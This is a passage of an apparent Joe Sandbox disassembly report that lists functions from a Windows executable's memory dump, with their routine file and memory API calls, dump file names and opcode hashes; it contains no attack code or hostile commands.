Instruction Fuzzy Hash: 2BE0E575B453187B8714AF649C0A9AEBF95DB46720F500164FC05A6380DE715E0586F9

Function 00D79BC8 Relevance: 4.6, APIs: 3, Instructions: 96fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,?,00D7C853,00000001,?,?,?,00000000,00D8420B,?,?,?,?,?,00D83CB0), ref: 00D79BE3
WriteFile.KERNEL32(?,00000000,?,00D83EB8,00000000,?,?,00000000,00D8420B,?,?,?,?,?,00D83CB0,?), ref: 00D79C23
WriteFile.KERNELBASE(?,00000000,?,00D83EB8,00000000,?,00000001,?,?,00D7C853,00000001,?,?,?,00000000,00D8420B), ref: 00D79C50

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 167855d870e314d4596875dddd4439b027b12db2799e25030cab1b537db8e4ea
Instruction ID: 63a2de3505e422ee91ce49fb1036eca19b42759463e2b041e08015730f986b31
Opcode Fuzzy Hash: 167855d870e314d4596875dddd4439b027b12db2799e25030cab1b537db8e4ea
Instruction Fuzzy Hash: 20313372108605AFDF218E14D858BA6FBE8EB91710F08C11AF598932D0E775E849CBB2

Function 00D79E86 Relevance: 4.6, APIs: 3, Instructions: 56COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,00D79D92,?,00000001,00000000,?,?), ref: 00D79EAD
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,00D79D92,?,00000001,00000000,?,?), ref: 00D79EE0
GetLastError.KERNEL32(?,?,?,?,00D79D92,?,00000001,00000000,?,?), ref: 00D79EFD

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: CreateDirectory$ErrorLast
String ID:
API String ID: 2485089472-0
Opcode ID: ac4a3ac9c52a83ab267446e6bc3ce1086c192269f841f506058da82f524d997e
Instruction ID: 72fcdc5b5de1f976d4fc4f0c167c80a2dd9617b782759c090915b38611e01b59
Opcode Fuzzy Hash: ac4a3ac9c52a83ab267446e6bc3ce1086c192269f841f506058da82f524d997e
Instruction Fuzzy Hash: F701DE33111218A6DB21EA684C56FEFF75DDF06341F0C8412F84DD2085FB20898197F6

Function 00D7C413 Relevance: 4.6, APIs: 3, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D7C418
new.LIBCMT ref: 00D7C45B
new.LIBCMT ref: 00D7C47F

Part of subcall function 00D75FB1: __EH_prolog.LIBCMT ref: 00D75FB6

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 11f21922c506a3bd444a14323884bbdcd9cbbfe03ab16efc131558b0915efec1
Instruction ID: c6f7eb86938db7a8a9adeb3855533a23f2413984a4358a47994adacffb7031ed
Opcode Fuzzy Hash: 11f21922c506a3bd444a14323884bbdcd9cbbfe03ab16efc131558b0915efec1
Instruction Fuzzy Hash: 6A119170A11244DEDB14EBB895057AEBAE8EF84304F14446EE44DD7342EBB45E00C772

Function 00D73AA3 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 174COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D73AA8

Strings

CMT, xrefs: 00D73AB7

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: H_prolog
String ID: CMT
API String ID: 3519838083-2756464174
Opcode ID: 87c39df36f3403231e52b91c2e8d7f6f84d451ede32f49f6d56ebc0aa5242322
Instruction ID: 6c085fc13a10e1a29c26dfdf31cdc013eee65d735dd1d925bfbb35c08e68d045
Opcode Fuzzy Hash: 87c39df36f3403231e52b91c2e8d7f6f84d451ede32f49f6d56ebc0aa5242322
Instruction Fuzzy Hash: 9A619F71504F44AADB21DB74CC519EBB7E8EF14301F44896EE19E87142E732AA48DF31

Function 00D71DA1 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D71DA6

Part of subcall function 00D73AA3: __EH_prolog.LIBCMT ref: 00D73AA8

Strings

CMT, xrefs: 00D71DDC

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: H_prolog
String ID: CMT
API String ID: 3519838083-2756464174
Opcode ID: acd1afb52f31c0292357843683c74abbc46b06011aa8cf5bbc2e70d5368dc4ed
Instruction ID: 7c2499b6917fe890fc3e3a9420af726aa38e39de6e08b3d3c1e3b5a10a857547
Opcode Fuzzy Hash: acd1afb52f31c0292357843683c74abbc46b06011aa8cf5bbc2e70d5368dc4ed
Instruction Fuzzy Hash: D32139369002099FCF15EF98C9419EEFBF5EF48300B104169F849A3251DB325A14DB70

Function 00D718FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D718FB

Strings

CMT, xrefs: 00D71974

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: H_prolog
String ID: CMT
API String ID: 3519838083-2756464174
Opcode ID: e3c3bf9b79ed31c382a857c2016be43ded34ba2af2354b1a8ca09f4191ed15b9
Instruction ID: 7fdbcf3bb1fa78d69263da204c47dd3fdb4ace3820d451727fcc963a2700d75f
Opcode Fuzzy Hash: e3c3bf9b79ed31c382a857c2016be43ded34ba2af2354b1a8ca09f4191ed15b9
Instruction Fuzzy Hash: 6F11B474A00201AFDB04DF69C495ABEF7BAFF85300F08825AE55997241EB309956DF70

Function 00D91D9A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00D91DAF

Strings

FlsAlloc, xrefs: 00D91D9E, 00D91DA8

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: try_get_function
String ID: FlsAlloc
API String ID: 2742660187-671089009
Opcode ID: f0df6a57a8ccd3fb710be2357a296b9241590e9875e83174bfd434b54a99c260
Instruction ID: d75f1b922492b2d18f9240f4160bd239926fb120aee82909ac06fe1aa4009927
Opcode Fuzzy Hash: f0df6a57a8ccd3fb710be2357a296b9241590e9875e83174bfd434b54a99c260
Instruction Fuzzy Hash: 63D05B2EF823256E9B1036D5AC029DABF54CB01BF1F040451FF0C65282D591445556F1

Function 00D8CD5C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D8CD6E

Part of subcall function 00D8CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D8CB39
Part of subcall function 00D8CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D8CB4A

Strings

3Ro, xrefs: 00D8CD5C, 00D8CD68

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 3Ro
API String ID: 1269201914-1492261280
Opcode ID: c16e7c5f638bee312da0d90fa025165c50bcd3182fa95d5d33f957a80811efb9
Instruction ID: 76460df41a23708e32a45c0f941ed72d245c96d9fcf4ece4e67e482a571c6623
Opcode Fuzzy Hash: c16e7c5f638bee312da0d90fa025165c50bcd3182fa95d5d33f957a80811efb9
Instruction Fuzzy Hash: 9EB012C1279001FD3128B3089E02C37010CC0C2F50330556FF842D4190A8644C06D132

Function 00D71383 Relevance: 3.1, APIs: 2, Instructions: 96COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D71383

Part of subcall function 00D75FB1: __EH_prolog.LIBCMT ref: 00D75FB6

Part of subcall function 00D7C413: __EH_prolog.LIBCMT ref: 00D7C418
Part of subcall function 00D7C413: new.LIBCMT ref: 00D7C45B
Part of subcall function 00D7C413: new.LIBCMT ref: 00D7C47F

new.LIBCMT ref: 00D713FB

Part of subcall function 00D7AC66: __EH_prolog.LIBCMT ref: 00D7AC6B

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 7ab43ab52c29aee32465520c8c3c4b109d3419fb472948830b6b90e46be33b33
Instruction ID: 82198c9f342bb8159d7a08466cfb681697380b29db2bb7bd6d6fbd296c357382
Opcode Fuzzy Hash: 7ab43ab52c29aee32465520c8c3c4b109d3419fb472948830b6b90e46be33b33
Instruction Fuzzy Hash: 3C4147B0805B40DED724DF798485AE6FBE5FF28300F508A2ED5EE87282DB326554CB25

Function 00D7137E Relevance: 3.1, APIs: 2, Instructions: 94COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D71383

Part of subcall function 00D75FB1: __EH_prolog.LIBCMT ref: 00D75FB6

Part of subcall function 00D7C413: __EH_prolog.LIBCMT ref: 00D7C418
Part of subcall function 00D7C413: new.LIBCMT ref: 00D7C45B
Part of subcall function 00D7C413: new.LIBCMT ref: 00D7C47F

new.LIBCMT ref: 00D713FB

Part of subcall function 00D7AC66: __EH_prolog.LIBCMT ref: 00D7AC6B

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: d499ac369bfd7e679be2b7f0a8fccd22ddb7d1adbc24d37c40b26acbe36a2750
Instruction ID: 1d3cdd64fbfbafd38c02f6c1350db9fd275e32ac3097dbbd6e6876dfc362922d
Opcode Fuzzy Hash: d499ac369bfd7e679be2b7f0a8fccd22ddb7d1adbc24d37c40b26acbe36a2750
Instruction Fuzzy Hash: BF4137B0805B40DED725DF798485AE6FBE5FF28300F508A2ED5EE83282DB726554CB25

Function 00D98457 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00D9631F: GetLastError.KERNEL32(?,00DACBE8,00D92674,00DACBE8,?,?,00D92213,?,?,00DACBE8), ref: 00D96323
Part of subcall function 00D9631F: _free.LIBCMT ref: 00D96356
Part of subcall function 00D9631F: SetLastError.KERNEL32(00000000,?,00DACBE8), ref: 00D96397
Part of subcall function 00D9631F: _abort.LIBCMT ref: 00D9639D

Part of subcall function 00D98576: _abort.LIBCMT ref: 00D985A8
Part of subcall function 00D98576: _free.LIBCMT ref: 00D985DC

Part of subcall function 00D981EB: GetOEMCP.KERNEL32(00000000,?,?,00D98474,?), ref: 00D98216

_free.LIBCMT ref: 00D984CF
_free.LIBCMT ref: 00D98505

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: 55a95d8d6b3a622ae0681c2ebf6b97edaceba1fdb73fa1f6521f582d08c21361
Instruction ID: 5e2c551f55ef49f4c1ae63bfbaac3ffc61a0c88ea1cb4360378cad9453db8627
Opcode Fuzzy Hash: 55a95d8d6b3a622ae0681c2ebf6b97edaceba1fdb73fa1f6521f582d08c21361
Instruction Fuzzy Hash: 93318231904209AFDF11EFA9D441A9D77E5EF42720F2941A9F8089B292DF369E41EB70

Function 00D794F1 Relevance: 3.1, APIs: 2, Instructions: 86fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,00000000,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00D79B87,?,?,00D77735), ref: 00D79579
CreateFileW.KERNEL32(?,00000000,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00D79B87,?,?,00D77735), ref: 00D795AE

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ba69dd878880859739a3bc5b477bee0547f29039030e379503c53a1e013dc02b
Instruction ID: 9dc7291e0780f038ccc38023fca62bc9d4cc480499f575c8f7afcbf2c6aa569e
Opcode Fuzzy Hash: ba69dd878880859739a3bc5b477bee0547f29039030e379503c53a1e013dc02b
Instruction Fuzzy Hash: AF21E4B2004748AFD7318F14C845BA7BBE8EB49764F04892DF5E982191E274AD499B71

Function 00D79A12 Relevance: 3.1, APIs: 2, Instructions: 82timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,?,00D77436,?,?,?), ref: 00D79A2C
SetFileTime.KERNELBASE(?,?,?,?), ref: 00D79ADC

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 945dc72baf1813494cafc0e5b47fe1f849d7452ae7fce4f6be2e0acf052c66e3
Instruction ID: db38a069ef63447dc5e58df3e6d628419cee51c72173df7fc70d867e2606d806
Opcode Fuzzy Hash: 945dc72baf1813494cafc0e5b47fe1f849d7452ae7fce4f6be2e0acf052c66e3
Instruction Fuzzy Hash: 7121E432149341AFC711DB24C8A1AAAFBD4AF56704F08891CF8D9C7191E729ED0CC771

Function 00D79AEB Relevance: 3.1, APIs: 2, Instructions: 54COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000001), ref: 00D79B21
GetLastError.KERNEL32 ref: 00D79B2D

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 94daa6eb8a36a10e022305be31ce4a42c3ac1773311e9b5e00ca2e73e6abf1e6
Instruction ID: 90e7702843b4fe64ea87c5d74c6afb0bb551878bcd39a421f745f76955623034
Opcode Fuzzy Hash: 94daa6eb8a36a10e022305be31ce4a42c3ac1773311e9b5e00ca2e73e6abf1e6
Instruction Fuzzy Hash: 700192727057046BDB349E29EC95766F7D99B85324F14C53EB15AC3680EA31E8088631

Function 00D79897 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?), ref: 00D798EB
GetLastError.KERNEL32 ref: 00D798F8

Part of subcall function 00D796AA: __EH_prolog.LIBCMT ref: 00D796AF

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ErrorFileH_prologLastPointer
String ID:
API String ID: 4236474358-0
Opcode ID: 33c8fa08b30bb147ff5f97f5118c6cbdf935f9e5ade164f884e158ae1e22517f
Instruction ID: eaaac553936fa8ff06a305632c992f82e21701ef3516c4b98d6a23637d33100c
Opcode Fuzzy Hash: 33c8fa08b30bb147ff5f97f5118c6cbdf935f9e5ade164f884e158ae1e22517f
Instruction Fuzzy Hash: 6F01B5376002059BDB188E598C645AAF759EF47330718C36EE92ECB390E730DC018B71

Function 00D95AEA Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00D95B0B

Part of subcall function 00D959FC: RtlAllocateHeap.NTDLL(00000000,?,?,?,00D923AA,?,0000015D,?,?,?,?,00D92F29,000000FF,00000000,?,?), ref: 00D95A2E

RtlReAllocateHeap.NTDLL(00000000,?,00200000,?,?,00DACBE8,00D717A1,?,?,?,?,00000000,?,00D71378,?,?), ref: 00D95B47

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
